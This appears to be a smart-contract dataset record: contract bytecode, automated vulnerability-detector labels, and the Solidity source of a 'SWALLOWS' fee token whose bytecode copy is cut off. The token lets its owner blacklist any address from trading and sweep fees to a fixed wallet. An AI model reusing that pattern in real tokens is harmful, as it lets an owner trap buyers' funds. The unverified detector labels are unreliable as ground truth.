6929190612e95565b60405180910390a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f4e42555f4c50000000000000000000000000000000000000000000000000000081525081565b6000610c0e338484612169565b6103e881565b600c5460011461166c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d42565b6000600c556006546007546008546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff93841693909216916117479184918691611742916dffffffffffffffffffffffffffff9091169084906370a08231906116f2903090600401612888565b60206040518083038186803b15801561170a57600080fd5b505afa15801561171e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a62919061278d565b611bd9565b6117b581846117426008600e9054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116f29190612888565b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611831576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612aaa565b60035473ffffffffffffffffffffffffffffffffffffffff8816600090815260046020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b91908761189183613020565b919050558a6040516020016118ab9695949392919061298c565b604051602081830303815290604052805190602001206040516020016118d2929190612852565b60405160208183030381529060405280519060200120905060006001828686866040516000815260200160405260405161190f94939291906129cd565b6020604051602081039080840390855afa158015611931573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116158015906119ac57508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d79565b6119ed8989896120f4565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611a51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d42565b6000600c556006546040517f70a08231000000000000000000000000000000000000000000000000000000008152611bd29173ffffffffffffffffffffffffffffffffffffffff16906370a0823190611aae903090600401612888565b60206040518083038186803b158015611ac657600080fd5b505afa158015611ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611afe919061278d565b6007546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190611b54903090600401612888565b60206040518083038186803b158015611b6c57600080fd5b505afa158015611b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba4919061278d565b6008546dffffffffffffffffffffffffffff808216916e010000000000000000000000000000900416611e31565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209091015251600090819073ffffffffffffffffffffffffffffffffffffffff8616907fa9059cbb2ab09eb219583f4a59a5d0623ade346d962bcd4e46b11da047c9049b90611c5d90879087906024016128da565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909416939093179092529051611ce69190612836565b6000604051808303816000865af19150503d8060008114611d23576040519150601f19603f3d011682016040523d82523d6000602084013e611d28565b606091505b5091509150818015611d52575080511580611d52575080806020019051810190611d52919061276d565b611d88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612cae565b5050505050565b6000811580611db357508282611da58183612f77565b9250611db19083612f1f565b145b610c12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612a73565b600082611df68382612fb4565b9150811115610c12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612a3c565b6dffffffffffffffffffffffffffff8411158015611e5d57506dffffffffffffffffffffffffffff8311155b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612b86565b6000611ea464010000000042613059565b600854909150600090611edd907c0100000000000000000000000000000000000000000000000000000000900463ffffffff1683612fcb565b905060008163ffffffff16118015611f0457506dffffffffffffffffffffffffffff841615155b8015611f1f57506dffffffffffffffffffffffffffff831615155b15611fed578063ffffffff16611f5c85611f388661258e565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16906125b9565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611f849190612f77565b60096000828254611f959190612ecc565b909155505063ffffffff8116611fae84611f388761258e565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611fd69190612f77565b600a6000828254611fe79190612ecc565b90915550505b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff87160217928390556040517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1936120e493818116939091041690612e44565b60405180910390a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061215c908590612983565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600160205260409020546121999082611de9565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526001602052604080822093909355908416815220546121d590826125d5565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061215c908590612983565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561229f57600080fd5b505afa1580156122b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122d79190612639565b600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061239a5780156123955760006123266110046dffffffffffffffffffffffffffff888116908816611d8f565b90506000612333836123ae565b90508082111561239257600061235561234c8484611de9565b60005490611d8f565b9050600061236e83612368866005611d8f565b906125d5565b9050600061237c8284612f1f565b9050801561238e5761238e878261241e565b5050505b50505b6123a6565b80156123a6576000600b555b505092915050565b6000600382111561240f57508060006123c8600283612f1f565b6123d3906001612ecc565b90505b81811015612409579050806002816123ee8186612f1f565b6123f89190612ecc565b6124029190612f1f565b90506123d6565b50612419565b8115612419575060015b919050565b60005461242b90826125d5565b600090815573ffffffffffffffffffffffffffffffffffffffff831681526001602052604090205461245d90826125d5565b73ffffffffffffffffffffffffffffffffffffffff83166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124b9908590612983565b60405180910390a35050565b60008183106124d457816124d6565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526001602052604090205461250d9082611de9565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040812091909155546125419082611de9565b600090815560405173ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124b9908590612983565b6000610c126e0100000000000000000000000000006dffffffffffffffffffffffffffff8416612f33565b60006124d66dffffffffffffffffffffffffffff831684612ee4565b6000826125e28382612ecc565b9150811015610c12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612ae1565b60006020828403121561262e578081fd5b81356124d6816130cb565b60006020828403121561264a578081fd5b81516124d6816130cb565b60008060408385031215612667578081fd5b8235612672816130cb565b91506020830135612682816130cb565b809150509250929050565b6000806000606084860312156126a1578081fd5b83356126ac816130cb565b925060208401356126bc816130cb565b929592945050506040919091013590565b600080600080600080600060e0888a0312156126e7578283fd5b87356126f2816130cb565b96506020880135612702816130cb565b95506040880135945060608801359350608088013560ff81168114612725578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215612754578182fd5b823561275f816130cb565b946020939093013593505050565b60006020828403121561277e578081fd5b815180151581146124d6578182fd5b60006020828403121561279e578081fd5b5051919050565b6000806000806000608086880312156127bc578081fd5b853594506020860135935060408601356127d5816130cb565b9250606086013567ffffffffffffffff808211156127f1578283fd5b818801915088601f830112612804578283fd5b813581811115612812578384fd5b896020828501011115612823578384fd5b9699959850939650602001949392505050565b60008251612848818460208701612ff0565b9190910192915050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b600073ffffffffffffffffffffffffffffffffffffffff8716825285602083015284604083015260806060830152826080830152828460a084013781830160a090810191909152601f9092017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160101949350505050565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082528251806020840152612a0a816040850160208701612ff0565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526015908201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604082015260600190565b60208082526014908201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604082015260600190565b6020808252600f908201527f4e696d6275733a20455850495245440000000000000000000000000000000000604082015260600190565b60208082526014908201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526009908201527f4e696d6275733a204b0000000000000000000000000000000000000000000000604082015260600190565b60208082526012908201527f4e696d6275733a20494e56414c49445f544f0000000000000000000000000000604082015260600190565b60208082526010908201527f4e696d6275733a204f564552464c4f5700000000000000000000000000000000604082015260600190565b60208082526025908201527f4e696d6275733a20494e53554646494349454e545f4c49515549444954595f4260408201527f55524e4544000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601e908201527f4e696d6275733a20494e53554646494349454e545f4c49515549444954590000604082015260600190565b60208082526021908201527f4e696d6275733a20494e53554646494349454e545f494e5055545f414d4f554e60408201527f5400000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526017908201527f4e696d6275733a205452414e534645525f4641494c4544000000000000000000604082015260600190565b60208082526025908201527f4e696d6275733a20494e53554646494349454e545f4c49515549444954595f4d60408201527f494e544544000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600e908201527f4e696d6275733a204c4f434b4544000000000000000000000000000000000000604082015260600190565b60208082526019908201527f4e696d6275733a20494e56414c49445f5349474e415455524500000000000000604082015260600190565b60208082526022908201527f4e696d6275733a20494e53554646494349454e545f4f55545055545f414d4f5560408201527f4e54000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526011908201527f4e696d6275733a20464f5242494444454e000000000000000000000000000000604082015260600190565b6dffffffffffffffffffffffffffff92831681529116602082015260400190565b6dffffffffffffffffffffffffffff938416815291909216602082015263ffffffff909116604082015260600190565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60008219821115612edf57612edf61306d565b500190565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff80841680612f1357612f1361309c565b92169190910492915050565b600082612f2e57612f2e61309c565b500490565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff80831681851681830481118215151615612f6e57612f6e61306d565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612faf57612faf61306d565b500290565b600082821015612fc657612fc661306d565b500390565b600063ffffffff83811690831681811015612fe857612fe861306d565b039392505050565b60005b8381101561300b578181015183820152602001612ff3565b8381111561301a576000848401525b50505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130525761305261306d565b5060010190565b6000826130685761306861309c565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff811681146130ed57600080fd5b5056fea264697066735822122077bd1cc581599bfb91303ef5d51707f86896cf09d2175fa311f77b2b53d755c864736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,084 |
0x726a5da1fedd57b5f450d1c96bfdf3debcd61642
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/**
Bird season is here
What better way to kick it off
Than with a bunch of $SWALLOWS
Caw caw caw
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Swallows is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SWALLOWS";
string private constant _symbol = "SWALLOWS";
uint8 private constant _decimals = 9;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x8b4Ac6958b69b1b9bC7Cc396ad4879c4f5AFB918);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 4;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000 * 10**9;
_maxWalletSize = 30000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610309578063b87f137a14610329578063c3c8cd8014610349578063c9567bf91461035e578063dd62ed3e1461037357600080fd5b806370a0823114610297578063715018a6146102b7578063751039fc146102cc5780638da5cb5b146102e157806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610206578063313ce567146102265780635932ead114610242578063677daa57146102625780636fc3eaec1461028257600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f5780631b3f71ae146101c457806323b872dd146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260088152675357414c4c4f575360c01b6020820152905161016691906116ca565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611744565b6103b9565b6040519015158152602001610166565b3480156101ab57600080fd5b50670de0b6b3a76400005b604051908152602001610166565b3480156101d057600080fd5b506101e46101df366004611786565b6103d0565b005b3480156101f257600080fd5b5061018f61020136600461184b565b61046f565b34801561021257600080fd5b506101e461022136600461188c565b6104d8565b34801561023257600080fd5b5060405160098152602001610166565b34801561024e57600080fd5b506101e461025d3660046118b7565b610523565b34801561026e57600080fd5b506101e461027d3660046118d4565b61056b565b34801561028e57600080fd5b506101e46105c5565b3480156102a357600080fd5b506101b66102b236600461188c565b6105f2565b3480156102c357600080fd5b506101e4610614565b3480156102d857600080fd5b506101e4610688565b3480156102ed57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561031557600080fd5b5061018f610324366004611744565b6106c5565b34801561033557600080fd5b506101e46103443660046118d4565b6106d2565b34801561035557600080fd5b506101e4610726565b34801561036a57600080fd5b506101e461075c565b34801561037f57600080fd5b506101b661038e3660046118ed565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c6338484610add565b5060015b92915050565b6000546001600160a01b031633146104035760405162461bcd60e51b81526004016103fa90611926565b60405180910390fd5b60005b815181101561046b576001600660008484815181106104275761042761195b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061046381611987565b915050610406565b5050565b600061047c848484610c01565b6104ce84336104c985604051806060016040528060288152602001611aea602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff6565b610add565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016103fa90611926565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016103fa90611926565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105955760405162461bcd60e51b81526004016103fa90611926565b600081116105a257600080fd5b6105bf60646105b9670de0b6b3a764000084611030565b906110b9565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e557600080fd5b476105ef816110fb565b50565b6001600160a01b0381166000908152600260205260408120546103ca90611135565b6000546001600160a01b0316331461063e5760405162461bcd60e51b81526004016103fa90611926565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b25760405162461bcd60e51b81526004016103fa90611926565b670de0b6b3a7640000600f819055601055565b60006103c6338484610c01565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016103fa90611926565b6000811161070957600080fd5b61072060646105b9670de0b6b3a764000084611030565b60105550565b600c546001600160a01b0316336001600160a01b03161461074657600080fd5b6000610751306105f2565b90506105ef816111b2565b6000546001600160a01b031633146107865760405162461bcd60e51b81526004016103fa90611926565b600e54600160a01b900460ff16156107e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fa565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081c3082670de0b6b3a7640000610add565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e91906119a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ef91906119a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096091906119a0565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610990816105f2565b6000806109a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a0d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3291906119bd565b5050600e805466354a6ba7a18000600f55666a94d74f43000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046b91906119eb565b6001600160a01b038316610b3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fa565b6001600160a01b038216610ba05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fa565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fa565b6001600160a01b038216610cc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fa565b60008111610d295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fa565b6002600a556004600b556000546001600160a01b03848116911614801590610d5f57506000546001600160a01b03838116911614155b15610fe6576001600160a01b03831660009081526006602052604090205460ff16158015610da657506001600160a01b03821660009081526006602052604090205460ff16155b610daf57600080fd5b600e546001600160a01b038481169116148015610dda5750600d546001600160a01b03838116911614155b8015610dff57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e145750600e54600160b81b900460ff165b15610f1957600f54811115610e6b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fa565b60105481610e78846105f2565b610e829190611a08565b1115610ed05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000